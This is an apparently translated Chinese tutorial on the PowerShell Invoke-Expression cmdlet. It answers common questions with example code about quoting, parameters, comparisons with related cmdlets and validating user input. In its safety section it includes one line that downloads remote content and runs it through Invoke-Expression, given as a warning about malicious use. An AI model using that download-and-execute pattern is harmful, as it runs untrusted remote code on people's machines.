[玩转系统] Invoke-Expression:通用 PowerShell 执行器 Cmdlet
作者:精品下载站 日期:2024-12-14 20:50:26 浏览:14 分类:玩电脑
Invoke-Expression:通用 PowerShell 执行器 Cmdlet
Invoke-Expression PowerShell cmdlet 很容易让人误解何时使用以及何时不使用它。在本文中,我整理了一些常见问题解答。我将对其进行分解,并提供大量有用的示例,供您在需要时参考。这意味着您应该立即为此页面添加书签!
想要更多这样的提示吗?查看我的个人 PowerShell 博客:https://www.nkasco.com/
什么是调用表达式
?
Microsoft 的官方描述是:“Invoke-Expression
cmdlet 将指定的字符串作为命令求值或运行,并返回表达式或命令的结果。如果没有 Invoke-Expression
,在命令行提交的字符串将原样返回(回显)。”
换句话说,它对于调用脚本中的代码或构建稍后执行的命令非常有用。它还可以与用户提供的输入结合谨慎使用。
使用 Invoke-Expression 的最基本示例是定义脚本并将该字符串传递给 Command 参数。然后,Invoke-Expression
执行该字符串。
#Run a PowerShell command via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command
#Execute a script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript
如果我的脚本路径中有空格怎么办?
确保用单引号或双引号将字符串引起来。
例如,如果您想执行路径中带有空格的字符串,则这些选项将不起作用:
# These don't work
$MyScript = "C:\Folder Path\MyScript.ps1"
#or
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript
为什么?因为这与直接在 PowerShell 控制台中键入完全相同:
PS51> C:\Folder Path\MyScript.ps1
但是,如果将路径项括在单引号或双引号中,并将整个字符串括在引号中,则 Invoke-Expression
将按预期执行脚本。
$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript
问如何将参数传递给使用Invoke-Expression
调用的脚本?
Invoke-Expression
唯一的参数是 Command
。没有使用 Invoke-Expression
传递参数的本机方法。但是,您可以将它们包含在传递给 Command
参数的字符串中。
也许我有一个带有两个参数的脚本,名为 Path
和 Force
。您可以像通常通过控制台那样传递参数,从而将参数传递给该脚本,而不是通过 Invoke-Expression
使用特定参数。
如果您通常通过控制台这样调用此脚本:
PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force
您必须将整行包含在字符串中,然后将该字符串传递给 Command
参数。
$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# or
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string
try/catch 对 Invoke-Expression 有意义吗?
并不真地。这意味着您需要在 Command
参数中使用错误处理。
示例:
# Doesn't work - Invoke-Expression doesn't act as a global error handler!
try{
$Command = 'Get-Process powerhell'
Invoke-Expression $Command -ErrorAction Stop
} catch {
Write-Host "Oops, something went wrong!"
}
Invoke-Expression
和调用运算符 (&
) 之间有什么区别?
调用运算符 (&) 非常适合快速运行命令、脚本或脚本块。但是,调用操作员不会解析该命令。它无法像 Invoke-Expression 那样解释命令参数。
例如,也许我想使用代码 Get-Process -ProcessName pwsh
中的 Get-Process
cmdlet 获取 PowerShell Core 进程。使用调用运算符连接 Get-Process 和参数将无法按预期工作。
$a = "Get-Process"
## Doesn't work
& "$a pwsh"
但如果您使用 Invoke-Expression 执行此字符串,它将按预期工作。
Invoke-Expression "$a pwsh"
Invoke-Expression
和 Start-Process
有什么区别?
Start-Process
cmdlet 在返回的对象中提供返回或退出代码。它允许您等待被调用的进程完成,并允许您在不同的 Windows 凭据下启动进程。 Invoke-Expression
快速且肮脏,而 Start-Process
对于解释执行过程的结果更有用。
Invoke-Expression
和 Invoke-Command
之间有什么区别?
Invoke-Expression
仅将字符串“转换”为可执行代码。另一方面,Invoke-Command
利用 PowerShell Remoting,使您能够在计算机上本地或远程调用代码。
如果您现在正在编写执行的命令,则 Invoke-Command
是更好的选择,因为您在 IDE 中保留了智能感知,而如果您想从以下位置调用另一个脚本,则 Invoke-Expression
会更好在你当前的范围内。
示例:
#These both work the same way, but we lost our intellisense with the Invoke-Expression example.
Invoke-Command -ScriptBlock {
Get-Process Chrome
Get-Process Powershell
}
Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"
Invoke-Expression
和 Invoke-Item
之间有什么区别?
Invoke-Item
cmdlet 为您提供对使用默认操作打开文档的多个路径的内联支持,以及用于包含、排除、添加凭据甚至确认以提高安全性的参数。
调用表达式安全吗?
A. 如果有人有恶意,他们可能会通过掩盖运行时自行构建的恶意代码来欺骗某些病毒程序。 Invoke-Expression
将愉快地执行传递给它的 Command
参数的任何文本。
示例:
$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command
执行多个命令/表达式的最佳实践有哪些?
如果您要执行多个命令,即使 Invoke-Expression
只接受字符串而不是数组,我们也可以使用 PowerShell 管道一次向管道发送一个对象。
示例:
# Doesn't work
$MyCollection = @(
'Get-Process Chrome',
'Get-Service bits'
)
Invoke-Expression $MyCollection
# Works
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression
如何将 Invoke-Expression
与用户输入结合使用?
在将 Invoke-Expression 与用户输入一起使用时,您应该非常谨慎。如果您允许向用户发出提示,让他们能够访问您打算执行的命令之外的内容,则可能会产生不需要的漏洞。这是使用 Invoke-Expression
安全地实现用户输入的一种方法。
do{
$Response = Read-Host "Please enter a process name"
$RunningProcesses = Get-Process
#Validate the user input here before proceeding
if($Response -notin $RunningProcesses.Name){
Write-Host "That process wasn't found, please try again.`n" #Avoid using $Response here
}
} until ($Response -in $RunningProcesses.Name)
$Command = "Get-Process $Response"
Invoke-Expression $Command
结论
每个 cmdlet 都有自己的位置,而 Invoke-Expression
几乎每个人都会在某个时刻遇到。了解常用 cmdlet 的优缺点非常重要,这样您才能以成功的方式实施它们。我很想知道您如何使用 Invoke-Expression
来解决您自己的一些挑战,请在下面发表评论并分享您的故事!
想要更多这样的提示吗?查看我的个人 PowerShell 博客:https://www.nkasco.com/
进一步阅读
- 更好的 PowerShell 启动流程
- Invoke-Command:运行远程代码的最佳方式
- 字符串中的 PowerShell 变量
- 使用 PowerShell 转义双引号和所有字符串
猜你还喜欢
- 03-30 [玩转系统] 如何用批处理实现关机,注销,重启和锁定计算机
- 02-14 [系统故障] Win10下报错:该文件没有与之关联的应用来执行该操作
- 01-07 [系统问题] Win10--解决锁屏后会断网的问题
- 01-02 [系统技巧] Windows系统如何关闭防火墙保姆式教程,超详细
- 12-15 [玩转系统] 如何在 Windows 10 和 11 上允许多个 RDP 会话
- 12-15 [玩转系统] 查找 Exchange/Microsoft 365 中不活动(未使用)的通讯组列表
- 12-15 [玩转系统] 如何在 Windows 上安装远程服务器管理工具 (RSAT)
- 12-15 [玩转系统] 如何在 Windows 上重置组策略设置
- 12-15 [玩转系统] 如何获取计算机上的本地管理员列表?
- 12-15 [玩转系统] 在 Visual Studio Code 中连接到 MS SQL Server 数据库
- 12-15 [玩转系统] 如何降级 Windows Server 版本或许可证
- 12-15 [玩转系统] 如何允许非管理员用户在 Windows 中启动/停止服务
取消回复欢迎 你 发表评论:
- 精品推荐!
-
- 最新文章
- 热门文章
- 热评文章
[影视] 黑道中人 Alto Knights(2025)剧情 犯罪 历史 电影
[古装剧] [七侠五义][全75集][WEB-MP4/76G][国语无字][1080P][焦恩俊经典]
[实用软件] 虚拟手机号 电话 验证码 注册
[电视剧] 安眠书店/你 第五季 You Season 5 (2025) 【全10集】
[电视剧] 棋士(2025) 4K 1080P【全22集】悬疑 犯罪 王宝强 陈明昊
[软件合集] 25年6月5日 精选软件22个
[软件合集] 25年6月4日 精选软件36个
[短剧] 2025年06月04日 精选+付费短剧推荐33部
[短剧] 2025年06月03日 精选+付费短剧推荐25部
[软件合集] 25年6月3日 精选软件44个
[剧集] [央视][笑傲江湖][2001][DVD-RMVB][高清][40集全]李亚鹏、许晴、苗乙乙
[电视剧] 欢乐颂.5部全 (2016-2024)
[电视剧] [突围] [45集全] [WEB-MP4/每集1.5GB] [国语/内嵌中文字幕] [4K-2160P] [无水印]
[影视] 【稀有资源】香港老片 艺坛照妖镜之96应召名册 (1996)
[剧集] 神经风云(2023)(完结).4K
[剧集] [BT] [TVB] [黑夜彩虹(2003)] [全21集] [粤语中字] [TV-RMVB]
[实用软件] 虚拟手机号 电话 验证码 注册
[资源] B站充电视频合集,包含多位重量级up主,全是大佬真金白银买来的~【99GB】
[影视] 内地绝版高清录像带 [mpg]
[书籍] 古今奇书禁书三教九流资料大合集 猎奇必备珍藏资源PDF版 1.14G
[电视剧] [突围] [45集全] [WEB-MP4/每集1.5GB] [国语/内嵌中文字幕] [4K-2160P] [无水印]
[剧集] [央视][笑傲江湖][2001][DVD-RMVB][高清][40集全]李亚鹏、许晴、苗乙乙
[电影] 美国队长4 4K原盘REMUX 杜比视界 内封简繁英双语字幕 49G
[电影] 死神来了(1-6)大合集!
[软件合集] 25年05月13日 精选软件16个
[精品软件] 25年05月15日 精选软件18个
[绝版资源] 南与北 第1-2季 合集 North and South (1985) /美国/豆瓣: 8.8[1080P][中文字幕]
[软件] 25年05月14日 精选软件57个
[短剧] 2025年05月14日 精选+付费短剧推荐39部
[短剧] 2025年05月15日 精选+付费短剧推荐36部
- 最新评论
-
- 热门tag